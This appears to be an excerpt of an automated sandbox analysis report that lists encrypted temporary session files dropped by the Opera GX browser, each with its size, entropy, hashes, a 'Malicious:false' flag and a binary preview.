                                                                                                                                                                                                              Preview:........XjGW9L8EVCx2/sj9X5VJ9azVmni71CGrJIpKFQwPTJc0=...........z.*........Y6.^6...~7.WF.H&..Iq...y..>P.S~....).6r.YF.?g.6....q.....6cqvA}J...,].B.Lm..-y_9........%.s..8^.,.L..`......p.4.dYI+**`}u.|..R,zZ..6.O...(...NA........u0s....Rb.R.Y.S....;AcI.]'.~W.0.....p..!.. nK.../?[.2......_.!...I..`C..\e....SZ.......:./.m..4.^...V........e;.[G.W.L...q.B=q.2`.em./..7p.1.A......X..I....*.6M!.'.g%.edc......A.._..g...N.[...W3.E......v.....Fk...V.r..X5.7..f..%..u....-.`".d5M.....*.?..c.@GJH....e...K......E........(.g...........@<...c.$..B!=-.R....3.ZVd.0.vh....F.T......TAl....F...A=.....?..i.`.4.......!./3}K.@;..E..^..N..M.8(.4&..M..<...j....B.......5.8.vqZ..Ek9o.8....&....vGl.Y..%].$.....Z..vg.f...>.w.t..T.>4...a.V.,..^.O.{SR'...A..]...<....R.....@1..@v...(..B.....q.1k..pj..!..Y^.N..}..Y..J..BwT.8..Ta..dV.N.G4...Dn#..L@....U...C.!9|......`.$su?.&._;b.u..lR..(.yO.8<.-..9..5../....&.&7....w.../....^..S(.t.....L..D.2...S.W....RV|g.......&7..jb...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2f59f0f7-8fac-4172-af31-9defdd898c68.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1885
                                                                                                                                                                                                              Entropy (8bit):7.889412332222665
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:255BC7A752C7ADE24ED31CEE229024BC
                                                                                                                                                                                                              SHA1:AADDB5ADA7FCE3929AECD159586FBFB469B11F07
                                                                                                                                                                                                              SHA-256:1065AA34D4F5D621952743A8ABE5639D05DB244293F034AA71C7D7DD8FF04063
                                                                                                                                                                                                              SHA-512:50287289762D69D0D448012EE794F964591D92B3292795AA214739BA44B699F6A4D567734EEC15EA3429A027253CF858C1B676E6F0C97101C9B681127CCC8E67
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XuONS6v+dyIDEbIEYV/7C5v0UIyhsGtoKNcR4Hd141wk=........W..{.Z{........4x.P.9.......5....h..k..8Fj..Kg....;|J.D..]..;2.*(.r.x.g.9.ozN#?C..j..)...2....-....`/..........o..K._L..3..;..u....).Je...)...3..4g4{xD.j,.u..U..B....H^.....S7."..........H..*...w.U...I.^..TOA.....h..>|v..IO8.W..l.&.OK...u)`...:_F.TO..;..U...m``v...6.......'..P..Pg....C>...,.w..... .34mJ]..J.v.<..D..6C=.*k.1<Vu..Z...'.....j........=..&..['~).....7.op-.W..Ax...0.r..aH..^.e.r....jV..a...Og...\..~...~...*c..j..vV...lUt~..`K..b..R....{......Ph.)n..C\...X..^.,...gO:..4...*q.Wo.J..X'5.i.S...U..%e.%..wK.v{.5.o.C.4..\d.K...#..v.8......T.X]..c:.....7.......4hBC.N9..&.F..i.D..8.Vz.J.).k.D.Y..#.%G.S..S..^.........k. .1.Q.'c.6..f%-B.......Z.aF..H.u....n..E...18.{,v...Yo.i.5...f.*.M.73... \.J8.........n..8..hP.......1.o.....'...r.FF.>v.s8*.ll7.c.K.`j.......&.../.....o3.*r`....Q.......,....e..W....L{m%.y......+..=..9.....)9..........&B..-...d%...~..`.S.Z.j..]n.....^...O@...M,F

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\2f9b3d5a-4396-4ef4-93e9-0208b8169d80.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2013
                                                                                                                                                                                                              Entropy (8bit):7.908104028937382
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:437168EE5D60E5D6231637B381832280
                                                                                                                                                                                                              SHA1:116AF9802D517C74D5E2905D295397E24C029757
                                                                                                                                                                                                              SHA-256:E8B95E333115F6E9D3C52D0DA78494818A6E0635159989228F1D878FC9A1907A
                                                                                                                                                                                                              SHA-512:A0A3DFAC620A5F6929991466DB873A0F7EE4935A9BFEA278A7E786CB1816774E898CB6E47E99E6358D7F0B71102771D8B01953DEBBD0F31E3E7D62556DA2BF42
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XTf9j8tm3MCWDro0mPQHZvvUsus31kW9bYPoidKCOQbo=......$A._oN..j...8bc?.....(...0.....>'..`.....Qi.k...6.n.k...K.....'C@Ot...^...@}9.X.i..z... .T.1.^k.Z.....Up[.v.M.Q..w._H-..q...@.i..B...M+.c.......^.|........H-<(u.E....se...],W8...p.........d9&Q>....?....T..S9.6hB.D.....b..(.F..NR7g..Q).....1b....1.........zJ.SGd...'..<F....?.x"....~.=....rP..$`^.!..4.;..@....{.a.V...]E......ON#i..;.QY..NM..vA.......b.k.....8-|..mZ..}3.T.c7,r$.U..O.Q;P......'_]z2..d......B.3..D.).........*.'.c.MK.Y..QS}.qj......r....{......IMK...RM.gA..:a=......K....#.dDP...\.1...~..[D...p...}....uhF.I..%.tT[....Wi....V.=.6...{./.7...O.....I`L.'strOB..g+...w......0.}.+.sgi.....a.+..\..gv.....+U.}.F...uM)..P........=....iZ....Z...b....J..R....rZ.r.W...I.Z5..$,...#\.0@....>x......w"`.......F1.6W|..`..C.vsA/...k.:<..HW+..p.N?...3...N....b..:........E..B.a..}z.....B..I....?8.....3...}.m..fg..iw.".[^.`TYJ..zF..s.U@4_.S.V.;..]../....p.`...F.c..WV..V.k....?.Crb.u...S.G.ZFd.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\31025499-5fcc-49a8-955d-e746a378a4cf.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9534
                                                                                                                                                                                                              Entropy (8bit):7.981244595762493
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2A2F95DA0E30D31361870DE03AF91843
                                                                                                                                                                                                              SHA1:1B7BBEAFB1C7B1CB0C89342A7FDCBC2A04F56426
                                                                                                                                                                                                              SHA-256:3FFDEF75F03AA3770A3FAED53A9B3F8E51451167841AAAAAB6B0FF824A5AA428
                                                                                                                                                                                                              SHA-512:B37BD1A35475BEF87C1867329CC85411902F3FB0EA0AB2E4427B00F77F639AAFFD1D4C10B94014CCF1A2E8D24DB4DA687FC7E69C370336D612EDB4616BFAAFC4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XBuLge7tM15hfBcr53h/lRM9Jmzfyb2BoANvyqXAV6wk=........s6HP].E....0.l.#Y.i...NcaO..dm.B^.-v...2.._t..),...p<..........1...bDj...%.U.z.....6boH.-../.o+......-....F......H.9.c..... ..].R.nR.7....g.....B........0....{..Ri/.A..n.."*.......)..`...F...........T...-,.."..,..e".`.R./.(..bw.....We.IL:[v.K\....Fo7.`.L.k..Q.....+..F.K.5q.d......B.Q.....Je....CSs.G....yl....E........d+..N.!.O...B...(.5O.s.f..Z].A?.%.....r..}....^9..,".K..v....r....V...._R(.GCv..~..>../..x.....v$:.Z.+.]...3N....[..........L.G_........Z..c.0..pL.M...0..\...5...x=}.1.-$..&..Q......21...j..5..#'..o..,..iFO?..>*....|......J.9![...iv.V.F.y..}...w.&O..d.fo~GYv..%g@...o..d.<...H1.-.t8.D`2.{.fM.|....p7..+...-.:.S..~5...:..87f...,Xr?.%U...{e.../\#.\.r....@.!.....Ur...{...}......+53....1.O.................T......).....A6J...5.."..a.....]d.U.......1.i...D+C)..z......'V...j.`.<..I)...7...5J.$'e....%......\<>k..T..e.... .#....4....H.@\._Mb..@..b!...v..1../.q`.V.0`..o./F .J?|..E..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\33dcf03e-c71b-4cf0-80a0-ab45ff3f1058.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.979374506934385
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0F5A05E85E78B7CC85783FCBF2599A68
                                                                                                                                                                                                              SHA1:EBBF86286588907E14B8BAFA6E5C98F011999498
                                                                                                                                                                                                              SHA-256:F66580B2C90406CB33A2B9E50270E0FFE0941A0E2BD8C2501F41C6CF9EA3DB3A
                                                                                                                                                                                                              SHA-512:1902F2F71FAABE6099ADC961B00BEC6363CDC20EEFED1DAB830825B47AE580FB896F71D860B4079B0BA968F9C720D047DF21D08E30A36724A15AF0D88AF8DCEF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XE+53k34FuSCJ75/5T0rRA9y7BGyYduKlfdS5OR1qrl8=........ ...W<......v.....T..P[.\...".k.c>....1.......[9.m.....z..PU.{..$..3.....%./:.k.u..`.f.RekW>..9..>.!..m6...~...8...<...%.'.r..L=...J..YR....h.^..W..[?..8....8l.mI....gA3..!...+ f..f^.w.S.....A....].T..l...!'G.0H.1v..D{.Gj....A4....<R[........$....y..{...&lg.I.@....j..~.j........4.PD..........E).f...x.....k@..5Wy.@.......{..........Ff.}EJ.czV....j...*..4^.q..U}l....F7.......A....-...v.!.uI.\ v|...=./.$Ic.."..e...}....K....AEp...R.=.x..](...G..<......@...1........7k.8..U.D.Y....F..........XQ{j..i.P..Q..y.K...L.JtA...w..2?Kc.Nt.....(.5.._m.K...$&..t...L....(6-...b..IL.."./...XL...K.......37LA<84^.F.......P..o.._-..].......h...%.#d..m.&f.e./..s..H {..."R"....3.O......qHb.D.g .X._.....r-...>..Y..m...^<C.C.V.T]3.D.cD..E....6...../.Z%N..Q8...Y@.I.~4.=.=....s.p.,...M....Z&..w...I.. .v.eIC..Wh..$5Dh[/`..).v'..5>..v.8.M.g....]...22.0....A...z._.5f..6.i.z....@f.b......G./<.?./.cdXIOM..../>

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3413b32e-e518-4ec7-9440-28e5f58b97dc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.984217084376635
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:30929C17CA23AC0C8FD53FBF7359B920
                                                                                                                                                                                                              SHA1:EE33C9997F6FD34425F46019E655D8A750D7477A
                                                                                                                                                                                                              SHA-256:7FF5DAFD5E5308DEBD916C2B79CE672D742F4747480E2875211B7AA0F371FA90
                                                                                                                                                                                                              SHA-512:2EDEB2E41B7178805AAAFF0CEE85DBE3264AC8AF80FFABEA54DAE73977D3E39B67DF3563EB17880C7BD1081CC4BA3E674E8A9C6A7E441A6EC4F336431776D3DD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XocNLUhyKZNTcHUput+Ir4o2gHIhjAqmsjEDJBctHHF4=.......6?.Lv.g$d1%.!.T?h.2..+M......k.ak..c..T.@..8G...a...0.2'.*.W.@r.).....`y......sOGS...........j...,....C.0....z...B.~.e.....P%.fBp..c.^.|....'.G.a....~..{.u;).....?.'.A9..r...|..)\XYY.d.L....n<..V.H`....?.5..T.s..Ez9l.d.6...e.em.9:...A...o..A.;.XI|...1(..6LpLP.Tw5.A......GHf P..&.d#..o@L..D4...s.....;QX..a..*6.F.Fku/ zs].Hp:..#'9.@..1f,.......<..S.7"..*..G...L+.r.e.=3.%..,.a.6...b.V...\?.tXY...p.>..g..Ih.........?..Z..L.....k.....OZ..D.7.*........F..2...%..@@....;...r...P*@VCr=f...p...'u.B......l..L.q......3...6..+Y9.......'xiE.2X-.6..l.I.F....n..tk./`..E.p.+..ra8..L.TJ9_..T.i.^..Ja]E.^..'.......c..0>)pF.Y...%V.aI.g..q.V..a._.......j......-%..E1u..w....R.....).e...-=..t.<`..I..5..../.X..hRz.W.[..Z.*.T...t..8.....Ia...^..v.TZ.8..|....Mp......U...7.T.6.......(H....J.Oc..zS.P...L].. .5v.f.!a.......u.O....-...vw7..3.|I.,..Lpez...L7..p..^o$..<.m.....;..u.-$;.o....p|..Q.R.7....[,U[..q......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3500e516-5f63-475d-8314-54a8d4056398.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.9759222809073025
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:84DF410B85F19765EE8E450816EC59CF
                                                                                                                                                                                                              SHA1:125DC38C2FB829D13690B86BE6B2D83A7035556F
                                                                                                                                                                                                              SHA-256:97E1B7C96EC658F9DE1DF721E8495D665EB296199BEB69F0B3285BEEE4114FEA
                                                                                                                                                                                                              SHA-512:5A39C15982914E8DB341B4694021D6EFB333B530B4A6A11D0F8148DEB9109B019AC649E4EE311EF40C77C929CB91FCD435995288FC7D561043C4F295EAC9503F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XEIb/+mFcsJnQDRafM+WZ0O1ILqOoUQgwshZyNsX/eb4=.......S.CC..r.K.x....*cU...$CF..W...oZ.U-.z.....M..U.....LP{.....s............. ....#.[....K...J.#bg.1+{H..g.4...S2.jD...Ps....l,Q...R..d..4....4.,A./.F,...w?..#..p..h............F..9...g...j...OS1.7.^Cj<<.&...%...+..!.O..p.l..l..k...).H.d..;..I..mhTh..,.`.....:..oJ.!i........[I.9..Y.s[.6....:..'.{...Yb...h.....g.`a.!.g......)c<{...EL.....A...t#....(.T4.T...Q...w....._|.1..W.... #....F.U........?...L............Y..L..B.{...Sfk...!..Sy.>.S..gB..."..Bh._..%`.Va<.H.t.a...6..c.WN.h...Ba.o..cpw...Rh.}....]w......"....K.%..x[.U..7.M#...x...*c.4..x.P.Yg...+.g.....3.$.\.L.S.RR....a...../.N.=..Y.....0........O|.nk.....v*...K.............}.].[.8...v...]..80.....Mv...*.%!.t8?m......pv..=".2>[4JN....it.. .}....0<.O.V^...[.M......i.a.f....g.+..... .../Y....P.|.B<.<d.V...-..;...F.....\...3......&..U..>..jh9./Z...bC.q.[|.F..........(U.1...m..a...wh...ay-..~..+....Sr..vg..I>...4;..5..S.jp...x.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\375cc93f-d59b-4a69-82ce-f1f406d10700.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):541
                                                                                                                                                                                                              Entropy (8bit):7.625243957799273
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4ABFA5B8A6F9F3479F46861097DEC91F
                                                                                                                                                                                                              SHA1:586EE4D93D8EBCAC862AC398B7F0BF0C7A4A7CA4
                                                                                                                                                                                                              SHA-256:9768CC019BFD490E8B55D83E57B6DD40D4A4E5AB0CC5A313E7783B47022395B4
                                                                                                                                                                                                              SHA-512:FB8AEF540C5A04284B86C02BBDD33A13F7124483321C152153807AE73D791A1467EB7184C76644A2CB9E618298F975CAD54DD7764FD84812A987DF6C2D0CBB4F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xmp57eY10Otj2VFDUrYTvOQVtwwCm0a78wdrjyOJthGc=......*.GuEH..'.m.v^.'...B....d..4..7q.............#.6...aw..'....#.'.h..w..r.k.m.}.]=./..#Z..Q......V........g|...<....I..x@8...:)4.A..}.J/[.DN.t.M5c4.-...uG.E....*..aF..W..7....@f]....:..Zp......m.Tw.......}..+h.b,Ey{..C...p......5l.Z.u_....%....x....=......{=....,..&..}.h/......r./..0.V...S1.f.ga.W....2.I..6."../I...k.T..Vm.-$....Q.....o....16.7.....[....A6V00S.B./....F........'<u...K..6..{A.....PC..T3B..0m...U...)......$.A./.iy&..qe<.\.?.S.'.~........

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3ae15135-e28b-482b-aaad-f0ee366ba59b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983049813063832
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CB0B979834600F80ECD944B8FE1743E5
                                                                                                                                                                                                              SHA1:F5D8B3347E1EDFA2D416E1C9A38C9B609E7508EB
                                                                                                                                                                                                              SHA-256:B0D3E190FE4A12900DEAD9606F5817EE0A3347D784306C548A1369FC97091E78
                                                                                                                                                                                                              SHA-512:A3BCA72E770DB7FD9C35F96B4DDA16C2A9F63BBC829B5969FC5372D27606A5A496109FB3152AF1D9369F651C3DC9DA466085C1DE1AB5DB927F76143EEAE6FA1D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X46peBPNK/8wWaG669280xlimg2Q7P33o5wCxKWa/T6w=.........M..T+`.NL\ H.^...Uck.....\...tS....1..j.C.F..`.......B......P...i;ty.k......t...6..\.........$T[.w..'.=. ..N.b.S$...@...".P,.C...d...Le..C][...:h;..g..\...J...&.e.W..~('....u..l1....... ....Ij...T...w'.<u.......kJ........'4..fj.%..=..r:"vB.......#...x..p..P.G.)g...1s..c25...q....o.....I....y...;.....Z.....~Y.H...i....l..V...9;..7.?.n...Z-.ki.Xi3O...ru.9z.-D.....{TgRj...........e2`.]6.d.R<._i+.h.9?U...."<..`.......-...... .r.|.o\m..L}....}..5.r$......1cBj.F.e..-..-VjJ..\|.....]..].5.K.4..Y.?.TC:..7d.B.wo.~.&..+0....S...b...{....;9.I.Ioli...QCdZ..[]...s).x.....1..Y..3.xL...3..)......@..*st..8..Z4L.|mp.....t..H....2..;a1g.. ..gY.E.....`.....z..aY.8.I...f.....f...M#....../':..'e.....C.J.(.%.?...C..N.....-c.;.?m..)....8..........(.X.u..h...C.F.!~.6=.X.8....@.q/.h..u.V.....G..Q.|R..s.CVW.p....V..I..i.2b.o.z....B...j..m.....<...@...%..O.....l\.;S...-i.S.~.. ...j....7).W..v.T..Y07 ....)....uT!..^2

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3e04c8df-167a-474e-a491-7b7575903fef.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7485
                                                                                                                                                                                                              Entropy (8bit):7.975120551754231
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F594D1D042D86DDD8AEFACF6E5124D9E
                                                                                                                                                                                                              SHA1:5A90DB02BD303200FF8D4B2D4ED6C5CD4D074DEA
                                                                                                                                                                                                              SHA-256:ED1D7030BA1CBAE5D084E58F7F2B252D4FCE6344E51E782EC5B64641D5D30A8F
                                                                                                                                                                                                              SHA-512:9EDC7C8F3549C16B410824FC392E06FB86F423E297D8E75F64F2AF40BBEAB92C90E2E5F0DF7AC91669FBFD9D206FF0E83E7331AB85CF47778096C31846D87EDA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XXkCF5kvKXCz3Q7Fh2R5hy1ckqlAcK1huRWDxwvr4G7E=.....tQ.o.AtPF....h.M.E.........$.t.C.K6..;f...d.,S.MnR....b.<...B@2.b7.p!....!.&..O.wU..Y.<{'.]..B.......Q.?.F...}..P..c{.j.G>..Y.....*.........v..j.L..Kk^#.T=.~..M..VQ\.N......4.....)%..#.../C.Z..OO...:_.....r..G...Z..)0c..<..m.....RC....[_Em.....W...[;..?.....0.F.$.40A.y.vZ.Q.....Ns[..fyH......kp.^.xl$....=..'\...s..8.'rx.g...T.u..;...R]R>"`b/is.f..."$>e..*[%.g.V...bH.u.r.z^Z.<...B.,#.....>..OC......q......c..C..-K...I*6...z...~.,(..*..o..i.P.j..5]..{".v(|..Z....{..mS....*WoF>.a)..2...IB.q.].u.7p.B.[f.m.y..E6..ti@Vde.9.P....+O....8.X....C.Q.3!.9...L..x.#4.......IRg....7T;WkBF.>.G.[`.&.Q@.&.O...J..X.........$/......y.......A.%.PC.L*J5.S...AX..r....,.r.......sc...C..:...1..i......,......../:.*c.....C_.a...O.C....N..s.v..Nt...]...l.._s,.o.t.<-...)K.... A..::j}1..^p....?o_;.|.....}...5..JR.c.b..IJQ....].N......vIn*}z.EM.P.?...D-..%6..*Ao..W..<.......RU.~.hU.=I...4.P...z..N..B....0.'.hA...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3e42437d-e072-4505-91b3-29633e804c80.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8125
                                                                                                                                                                                                              Entropy (8bit):7.9736126635295
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DB39093EE3E67AF1263FCB4B1DE86BB7
                                                                                                                                                                                                              SHA1:0E289E55CF7E0AC6F75E803B69D145E335C9DF23
                                                                                                                                                                                                              SHA-256:DFDE9A931F7FBE9D91035D71D75C68C5CE78D534406E5991334366A174447832
                                                                                                                                                                                                              SHA-512:A477D4E2CBDAFE09EEDEC6B04F5EA42DDEE5CA72242100641ADAEED5CE0B9B276499C2C6DE2D7A354F4356394D0ED0D0D0B50BDB5DCEE89B259E9A6CCB228507
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XoBJ5DsYF+fr2oZGhf3Zp8gUOODZx6y32l3NowYxcAQc=.....~.^b>......o.P.T.,5.~..&......U>-......<.@..x........T.g....r.S..+.%.....+...ht.........>H8.9......j*.S<S@...n..Q..3.A....P....]..(../....tJ.Nm.Yjm.3...ck......L.X......X...i...\.K...xF.dgx.k..,T.E%*./.N..6B.......W....>.&{.c8..<.?*J.8.......(......3g..bd7~.*.d.....37..........9...t.h.Q+S^.I.J6=.aYP.NzY3....u.mpz3k.M.,..#%.d]..l\..uOA"9.l.WM.N..{).W...3..?E.S.1....rx!.s.4.G.V;..+...s..`.b7.e...c.;.d.....:.!..7Wv.+...T.....6.)dm...4..[a".Q....R..F.I0#..R.j.=..21......iX...{..]l.m.}...._..:..A%.B....I......v.K..?nY3....b.|.)z....)+.Q....\8...O.......R...?...P)!...8.....8.....X>...U.h.Y...I.:.N...'....&#E...f...q...q...oQJ.d...)..W).pe.l.R...n7..O.I.i.....e,F.F..dT:.,..>.1..XL..&....).................<...m.%0s(i^RZ..v.k...?......2...(..?y#.8a...,..hrm.._..'"....%....GO..$...B.}..Kq..A....ml......}{.7.-....e...zN.{H{..1......(&..4.....Q...i...mY.yY.4..7.o..@H1?q..-o.7?..}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3e61aff0-58f3-435a-89c7-c851e4525fcc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.98221747563792
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AA3C38AA4B8B5E2E545112656A1566B9
                                                                                                                                                                                                              SHA1:8613A59E4CA5A0D3B8A39AD4E5CC64C39D46FF91
                                                                                                                                                                                                              SHA-256:30F1EB48BAB2D837989BECAA705C73E4AA00348CA17ED20F6AB2A245D2FDAD32
                                                                                                                                                                                                              SHA-512:36934A688090AF0B3120B77859D2A00C29BFAB6503B776E4BF4AC298E2B9713626FF3838E36D542AECF5E5E896FF57C04BF1C36A32F769D9138B4ABE051F9CB0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlvVu15ldVkAaX6Dwt4wmKq1ics5fwclx01kgctSbDtw=..........Ry.....l..z.......w.Qg....}59rr~14<....M. ]P.ldc..jp8....3..6..|.\..... ..r.iG.&$.0.9...lJy.....I.8R.iu..F.6^....V.%.....}...u.4yz.l.f.cA...."2..$.$...t..x8Mf.aW>..l)...........m.vi..'(4o..Ov.....3.x..Z..1..d..wWy..!....v..|[a.<.D.M<5...$eQ..]5...<..../.%tp.v.....|1.w^B){...R.{..%B..h.c35...@s...T.!....t[%.|.V...t..7.......:/.0..>..._5$M.b..:.wFo.....4...*d.Tio+c^.%c..].}..kZHV...........6.........j.t.....c.D".........Z...J~..%.P..E.....4D.u[7.t......}.........C..@.8..N.$.T..../.8.........".{.<U.b......7._.0...`....P..&...IK,.?..JU.........[....=.3w.p....~IM[p..o.....cP......le=!..&.>.......F.=.s.+../A..Y.!r.Y.*...{.s.q..#GB4.T......T.Kt...,A.......G..10..G..i...*./..*...K.t../.....^.3|.......>.....'s....]....;...........}.*..^T....A.g$.3,.. .......e..E..D.c;..z....j.....E.FGc....(2...P"...s.f\.....g7u..U}...s....].E.D.....r..d..=.4...0...u.0.+{....V...Q..G.QKO

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3ecdf38d-9ff4-4a31-9125-b15510ba73bd.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1005
                                                                                                                                                                                                              Entropy (8bit):7.82115856375292
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7A8E30185B641000F8A62F89FBD7587A
                                                                                                                                                                                                              SHA1:B65A860C10FDC60871174A122609339914CFEDB2
                                                                                                                                                                                                              SHA-256:2CE0D51881EA744005D87EA7B7F034F1FCB87352765E3CF3B1EAD72FF394C3B8
                                                                                                                                                                                                              SHA-512:76EFD4EED854C550D527B957464AF0BD1AB35994BCAE725DFF48BEACEFE2D340A28295EC38AE1AE41F8D1217675C5F391C2D99D804B3455997248CCB71549064
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
